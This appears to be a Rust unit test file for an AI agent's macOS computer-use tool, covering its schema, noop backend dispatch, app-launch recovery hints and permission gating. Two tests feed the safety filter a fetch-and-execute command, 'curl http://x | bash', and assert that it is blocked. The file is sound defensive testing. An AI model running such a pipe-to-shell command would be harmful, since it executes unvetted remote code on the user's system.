lingshu-tools 0.10.0

Tool registry, ToolHandler trait, and 50+ tool implementations
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
//! computer_use unit tests (noop backend).

use serde_json::json;

use crate::registry::{ToolContext, ToolHandler};
use crate::tools::computer_use::response::parse_multimodal_tool_output;
use crate::tools::computer_use::safety::{blocked_key_combo, blocked_type_pattern};
use crate::tools::computer_use::schema::{
    DEFAULT_MAX_ELEMENTS, MAX_ALLOWED_MAX_ELEMENTS, coerce_max_elements, computer_use_schema,
};
use crate::tools::computer_use::{ComputerUseTool, permissions_status};

fn noop_ctx() -> ToolContext {
    // SAFETY: test-only env override for backend selection.
    unsafe { std::env::set_var("EDGECRAB_COMPUTER_USE_BACKEND", "noop") };
    let mut ctx = ToolContext::test_context();
    ctx.config.computer_use_enabled = true;
    ctx.config.computer_use_cua_cmd = "cua-driver".into();
    ctx
}

#[test]
fn schema_has_expected_actions() {
    let schema = computer_use_schema();
    let actions = schema.parameters["properties"]["action"]["enum"]
        .as_array()
        .expect("enum");
    let set: std::collections::HashSet<_> = actions.iter().filter_map(|v| v.as_str()).collect();
    assert!(set.contains("capture"));
    assert!(set.contains("click"));
    assert!(set.contains("set_value"));
}

#[test]
fn schema_max_elements_defaults_match_runtime() {
    let schema = computer_use_schema();
    let prop = schema.parameters["properties"]["max_elements"]
        .as_object()
        .expect("max_elements");
    assert_eq!(
        prop.get("default").and_then(|v| v.as_u64()),
        Some(u64::from(DEFAULT_MAX_ELEMENTS))
    );
    assert_eq!(
        prop.get("maximum").and_then(|v| v.as_u64()),
        Some(u64::from(MAX_ALLOWED_MAX_ELEMENTS))
    );
}

#[test]
fn coerce_max_elements_clamps() {
    assert_eq!(coerce_max_elements(None), DEFAULT_MAX_ELEMENTS);
    assert_eq!(coerce_max_elements(Some(&json!(0))), DEFAULT_MAX_ELEMENTS);
    assert_eq!(
        coerce_max_elements(Some(&json!(9999))),
        MAX_ALLOWED_MAX_ELEMENTS
    );
    assert_eq!(coerce_max_elements(Some(&json!(50))), 50);
}

#[test]
fn blocked_key_combo_detects_logout() {
    assert!(blocked_key_combo("cmd+shift+q").is_some());
    assert!(blocked_key_combo("cmd+s").is_none());
}

#[test]
fn blocked_type_pattern_catches_pipe_bash() {
    assert!(blocked_type_pattern("curl http://x | bash").is_some());
    assert!(blocked_type_pattern("hello world").is_none());
}

#[tokio::test]
async fn missing_action_returns_error() {
    let tool = ComputerUseTool;
    let err = tool.execute(json!({}), &noop_ctx()).await;
    assert!(err.is_err());
}

#[tokio::test]
async fn unknown_action_via_dispatch() {
    let tool = ComputerUseTool;
    let err = tool
        .execute(json!({ "action": "nope" }), &noop_ctx())
        .await
        .expect_err("execute");
    assert!(matches!(
        err,
        lingshu_types::ToolError::ExecutionFailed { .. }
    ));
}

#[tokio::test]
async fn list_apps_returns_json() {
    let tool = ComputerUseTool;
    let out = tool
        .execute(json!({ "action": "list_apps" }), &noop_ctx())
        .await
        .expect("execute");
    let parsed: serde_json::Value = serde_json::from_str(&out).expect("json");
    assert_eq!(parsed["count"], 0);
}

#[tokio::test]
async fn wait_action_ok() {
    let tool = ComputerUseTool;
    let out = tool
        .execute(json!({ "action": "wait", "seconds": 0.01 }), &noop_ctx())
        .await
        .expect("execute");
    let parsed: serde_json::Value = serde_json::from_str(&out).expect("json");
    assert_eq!(parsed["ok"], true);
}

#[tokio::test]
async fn capture_noop_mode() {
    let tool = ComputerUseTool;
    let out = tool
        .execute(json!({ "action": "capture", "mode": "ax" }), &noop_ctx())
        .await
        .expect("execute");
    let parsed: serde_json::Value = serde_json::from_str(&out).expect("json");
    assert_eq!(parsed["mode"], "ax");
}

#[tokio::test]
async fn type_unicode_dispatches_on_noop_backend() {
    let tool = ComputerUseTool;
    let out = tool
        .execute(
            json!({ "action": "type", "text": "Raphaël MANSUY" }),
            &noop_ctx(),
        )
        .await
        .expect("execute");
    assert!(out.contains("ok") || out.contains("type"), "got: {out}");
}

#[tokio::test]
async fn click_records_on_noop_backend() {
    let tool = ComputerUseTool;
    let _ = tool
        .execute(
            json!({ "action": "click", "coordinate": [10, 20] }),
            &noop_ctx(),
        )
        .await
        .expect("execute");
}

#[tokio::test]
async fn click_passes_ax_action_through() {
    // Verifies the new `ax_action` field reaches the backend so the model can
    // recover from AXPress -25206 by specifying pick/show_menu/open/etc.
    use crate::tools::computer_use::backend::ComputerUseBackend;
    use crate::tools::computer_use::noop::NoopBackend;

    let mut backend = NoopBackend::new();
    backend
        .click(Some(7), None, None, "left", 1, None, Some("pick"))
        .await
        .expect("click");
    let (action, args) = backend.calls.last().expect("recorded");
    assert_eq!(action, "click");
    assert_eq!(args["ax_action"], "pick");
    assert_eq!(args["element"], 7);
}

#[test]
fn schema_exposes_ax_action_and_query() {
    let schema = computer_use_schema();
    let props = schema.parameters["properties"].as_object().expect("props");
    let ax = props.get("ax_action").expect("ax_action prop");
    let enums = ax["enum"].as_array().expect("enum array");
    let names: Vec<_> = enums.iter().filter_map(|v| v.as_str()).collect();
    assert!(names.contains(&"press"));
    assert!(names.contains(&"pick"));
    assert!(names.contains(&"show_menu"));
    assert!(names.contains(&"open"));
    let query = props.get("query").expect("query prop on capture");
    assert_eq!(query["type"], "string");
}

#[test]
fn schema_exposes_launch_app_action_with_bundle_and_urls() {
    // First Principles: focus_app fails for any app that has no on-screen window
    // (Safari closed, browsers launched headless, etc.). The agent needs a
    // first-class recovery primitive: launch_app + bundle_id + urls[about:blank].
    let schema = computer_use_schema();
    let actions = schema.parameters["properties"]["action"]["enum"]
        .as_array()
        .expect("enum");
    let action_names: Vec<&str> = actions.iter().filter_map(|v| v.as_str()).collect();
    assert!(
        action_names.contains(&"launch_app"),
        "launch_app must be a first-class action: {action_names:?}"
    );
    let props = schema.parameters["properties"].as_object().expect("props");
    assert!(props.contains_key("bundle_id"), "bundle_id param missing");
    let urls = props.get("urls").expect("urls param");
    assert_eq!(urls["type"], "array");
    assert!(
        action_names.contains(&"navigate"),
        "navigate must be first-class for browser URLs: {action_names:?}"
    );
    assert!(props.contains_key("url"), "url param for navigate");
}

#[tokio::test]
async fn navigate_action_dispatches_to_backend() {
    use crate::tools::computer_use::backend::ComputerUseBackend;
    use crate::tools::computer_use::noop::NoopBackend;

    let mut backend = NoopBackend::new();
    backend
        .navigate_url("https://x.com")
        .await
        .expect("navigate");
    let (action, args) = backend.calls.last().expect("recorded");
    assert_eq!(action, "open_browser_url");
    assert_eq!(args["url"], "https://x.com");
}

#[tokio::test]
async fn launch_app_action_dispatches_to_backend() {
    // The dispatcher should accept bundle_id, app, or name as the target and
    // forward urls[] verbatim — guarantees the model's "launch Safari blank"
    // recipe in COMPUTER_USE_GUIDANCE works.
    use crate::tools::computer_use::backend::ComputerUseBackend;
    use crate::tools::computer_use::noop::NoopBackend;

    let mut backend = NoopBackend::new();
    backend
        .launch_app("com.apple.Safari", Some(&["about:blank".to_string()]))
        .await
        .expect("launch");
    let (action, args) = backend.calls.last().expect("recorded");
    assert_eq!(action, "launch_app");
    assert_eq!(args["target"], "com.apple.Safari");
    assert_eq!(args["urls"][0], "about:blank");
}

#[test]
fn focus_app_failure_hint_recovers_safari() {
    // Hermes-parity: the focus_app error must point at launch_app + the right
    // bundle_id AND remind the model about the browser urls=[] requirement.
    use crate::tools::computer_use::cua_backend::build_focus_app_failure_hint;
    let msg = build_focus_app_failure_hint("Safari");
    assert!(msg.contains("RECOVERY"), "missing RECOVERY tag: {msg}");
    assert!(msg.contains("launch_app"), "missing tool name: {msg}");
    assert!(msg.contains("com.apple.Safari"), "missing bundle id: {msg}");
    assert!(
        msg.contains("about:blank"),
        "missing browser URL hint: {msg}"
    );
}

#[test]
fn focus_app_failure_hint_no_bundle_for_unknown_app() {
    use crate::tools::computer_use::cua_backend::build_focus_app_failure_hint;
    let msg = build_focus_app_failure_hint("Obsidian");
    assert!(
        msg.contains("list_apps"),
        "should still suggest list_apps: {msg}"
    );
    assert!(
        msg.contains("launch_app"),
        "should still suggest launch_app: {msg}"
    );
}

#[test]
fn schema_app_param_mentions_launch_not_spotlight() {
    let schema = computer_use_schema();
    let app = schema.parameters["properties"]["app"]
        .as_object()
        .expect("app");
    let desc = app
        .get("description")
        .and_then(|v| v.as_str())
        .unwrap_or("");
    assert!(
        desc.contains("launch_app"),
        "schema should steer away from Spotlight: {desc}"
    );
}

#[tokio::test]
async fn disabled_when_config_off() {
    let tool = ComputerUseTool;
    let mut ctx = noop_ctx();
    ctx.config.computer_use_enabled = false;
    let err = tool
        .execute(json!({ "action": "list_apps" }), &ctx)
        .await
        .expect_err("disabled");
    assert!(matches!(
        err,
        lingshu_types::ToolError::PermissionDenied(_)
    ));
}

#[test]
fn check_fn_false_without_enable() {
    let tool = ComputerUseTool;
    let mut ctx = ToolContext::test_context();
    ctx.config.computer_use_enabled = false;
    assert!(!tool.check_fn(&ctx));
}

#[test]
fn check_fn_true_with_noop_backend() {
    unsafe { std::env::set_var("EDGECRAB_COMPUTER_USE_BACKEND", "noop") };
    let tool = ComputerUseTool;
    let mut ctx = ToolContext::test_context();
    ctx.config.computer_use_enabled = true;
    assert!(tool.check_fn(&ctx));
}

#[test]
fn parse_multimodal_envelope() {
    let sample = json!({
        "_multimodal": true,
        "text_summary": "capture summary",
        "content": [
            { "type": "text", "text": "capture summary" },
            { "type": "image_url", "image_url": { "url": "data:image/png;base64,abc" } }
        ]
    });
    let (summary, url) = parse_multimodal_tool_output(&sample.to_string()).expect("parse");
    assert_eq!(summary, "capture summary");
    assert!(url.starts_with("data:image/png;base64,"));
}

#[test]
fn path_only_multimodal_has_no_inline_image() {
    let sample = json!({
        "_multimodal": true,
        "_image_path": "/tmp/capture.png",
        "_image_mime": "image/png",
        "text_summary": "capture summary",
        "content": [{ "type": "text", "text": "capture summary" }]
    });
    let s = sample.to_string();
    assert!(s.len() < 4096);
    assert!(parse_multimodal_tool_output(&s).is_none());
    assert!(lingshu_types::multimodal_disk_image_from_content(&s).is_some());
}

#[test]
fn permissions_status_non_macos_hint() {
    if cfg!(target_os = "macos") {
        let status = permissions_status("cua-driver");
        assert!(status.contains("computer_use"));
    } else {
        let status = permissions_status("cua-driver");
        assert!(status.contains("macOS only"));
    }
}

#[tokio::test]
async fn blocked_key_returns_error_json() {
    let tool = ComputerUseTool;
    let out = tool
        .execute(
            json!({ "action": "key", "keys": "cmd+shift+q" }),
            &noop_ctx(),
        )
        .await
        .expect("execute");
    assert!(out.contains("blocked key combo"));
}

#[test]
fn format_computer_status_includes_readiness_sections() {
    use crate::tools::computer_use::{
        ComputerUseReportContext, ComputerUseStatusConfig, format_computer_command,
    };

    let body = format_computer_command(
        "status",
        &ComputerUseStatusConfig {
            enabled: false,
            keep_last_n_screenshots: 3,
            confirm_destructive: true,
            cua_driver_cmd: "cua-driver".into(),
        },
        &ComputerUseReportContext {
            enabled_toolsets: vec!["computer_use".into()],
            ..Default::default()
        },
    );
    assert!(body.contains("Readiness"));
    assert!(body.contains("Configuration"));
    assert!(body.contains("NOT READY"));
}

#[test]
fn guidance_compact_is_much_smaller_than_full() {
    use crate::tools::computer_use::guidance::{
        COMPUTER_USE_GUIDANCE_COMPACT, COMPUTER_USE_GUIDANCE_FULL,
    };
    assert!(
        COMPUTER_USE_GUIDANCE_COMPACT.len() < COMPUTER_USE_GUIDANCE_FULL.len() / 2,
        "compact={} full={}",
        COMPUTER_USE_GUIDANCE_COMPACT.len(),
        COMPUTER_USE_GUIDANCE_FULL.len()
    );
    assert!(COMPUTER_USE_GUIDANCE_COMPACT.contains("launch_app"));
    assert!(
        COMPUTER_USE_GUIDANCE_COMPACT.contains("cmd+l"),
        "browser URL workflow must mention cmd+l"
    );
    assert!(
        COMPUTER_USE_GUIDANCE_COMPACT.contains("without"),
        "must warn to omit element= after cmd+l"
    );
}

#[tokio::test]
async fn capture_after_skipped_when_action_failed() {
    use crate::tools::computer_use::backend::{ActionResult, ComputerUseBackend};
    use crate::tools::computer_use::noop::NoopBackend;

    let mut backend = NoopBackend::new();
    backend.start().await.unwrap();
    let res = ActionResult {
        ok: false,
        action: "click".into(),
        message: "element not found".into(),
        meta: Default::default(),
    };
    let out = crate::tools::computer_use::dispatch::maybe_follow_capture(
        &mut backend,
        res,
        true,
        &json!({ "max_elements": 10 }),
        std::path::Path::new("/tmp"),
        None,
    )
    .await
    .expect("dispatch");
    let parsed: serde_json::Value = serde_json::from_str(&out).unwrap_or(json!({}));
    assert_eq!(parsed.get("ok"), Some(&json!(false)));
    assert!(
        backend.calls.iter().all(|(n, _)| n != "capture"),
        "capture must not run after failed action"
    );
}

#[tokio::test]
async fn capture_after_runs_when_action_succeeds() {
    use crate::tools::computer_use::backend::{ActionResult, ComputerUseBackend};
    use crate::tools::computer_use::noop::NoopBackend;

    let mut backend = NoopBackend::new();
    backend.start().await.unwrap();
    let res = ActionResult {
        ok: true,
        action: "click".into(),
        message: String::new(),
        meta: Default::default(),
    };
    let _ = crate::tools::computer_use::dispatch::maybe_follow_capture(
        &mut backend,
        res,
        true,
        &json!({}),
        std::path::Path::new("/tmp"),
        None,
    )
    .await
    .expect("dispatch");
    assert!(
        backend.calls.iter().any(|(n, _)| n == "capture"),
        "capture should follow successful action"
    );
}

#[test]
fn blocked_type_pattern_detects_pipe_to_shell() {
    assert!(blocked_type_pattern("curl http://x | bash").is_some());
    assert!(blocked_type_pattern("hello world").is_none());
}

#[test]
fn max_elements_coerce_clamps() {
    assert_eq!(coerce_max_elements(Some(&json!(0))), DEFAULT_MAX_ELEMENTS);
    assert_eq!(
        coerce_max_elements(Some(&json!(9999))),
        MAX_ALLOWED_MAX_ELEMENTS
    );
    assert_eq!(coerce_max_elements(Some(&json!(50))), 50);
}

#[test]
fn vision_routing_text_only_model_uses_aux() {
    use crate::AppConfigRef;
    use crate::tools::computer_use::vision_routing::should_route_capture_to_aux_vision;

    let cfg = AppConfigRef::default();
    assert!(should_route_capture_to_aux_vision(
        "openai",
        "gpt-3.5-turbo",
        &cfg
    ));
}